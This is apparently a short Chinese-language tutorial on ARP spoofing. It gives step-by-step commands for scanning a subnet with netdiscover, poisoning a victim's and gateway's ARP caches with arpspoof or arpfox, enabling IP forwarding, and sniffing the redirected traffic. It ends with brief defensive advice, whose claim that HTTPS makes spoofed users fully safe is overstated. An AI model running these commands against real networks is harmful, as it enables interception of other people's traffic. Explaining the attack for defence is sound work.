ARP(Address Resolution Protocol)协议是将 IP 地址映射到 MAC 地址的一种协议,ARP欺骗攻击可以让攻击者发送虚假的ARP响应,以欺骗网络中的其他设备,导致它们把流量发送到攻击者的地址,即 arpspoof 会发送虚假的 ARP 响应,将受害者的流量重定向到指定的网关。
# 安装工具包
sudo apt-get install dsniff
sudo apt-get install netdiscover
# netdiscover 扫描指定网段的地址,并保存到文件
# -r 指定网段
# -i 指定网卡名称
sudo netdiscover -r 172.32.0.1/24 -i eth0 -P > /tmp/xxx
# 欺骗 192.168.0.8:192.168.0.1 的 MAC 地址为我的 eth0 的 MAC地址
# 欺骗 192.168.0.1:192.168.0.8 的 MAC 地址为我的 eth0 的 MAC地址
sudo arpspoof -i eth0 -t 192.168.0.8 -r 192.168.0.1
# 开启内核转发
cat /etc/sysctl.conf | grep "^net.ipv4.ip_forward=1"
net.ipv4.ip_forward=1
# 开启内核转发
cat /proc/sys/net/ipv4/ip_forward
1
# 如果 iptables 的 FORWARD链是不允许转发的,则需要允许转发
sudo iptables -A FORWARD -i eth0 -j ACCEPT
# 然后在本机监听 eth0 端口,使用 wireshark 或者 tcpdump 抓包 eth0 的数据
arpspoof 的替代品 https://github.com/malfunkt/arpfox
# arpfox -i [network interface] -t [target] [host]
arpfox -i en0 -t 10.0.0.101 10.0.0.1
如何防护 arpspoof 的欺骗呢,其实最简单的是我们要访问 https 的网站,都 2023 年了,https 基本上是网站的标配了,即便你被 arp 欺骗了,你访问的网站如果是 https 的话,照样也是安全的,因为https无法被解密,其他的防止被攻击的方法有:启用静态ARP配置、启用防火墙、使用VLAN限制被攻击的范围、物理访问控制、定期更新网络设备固件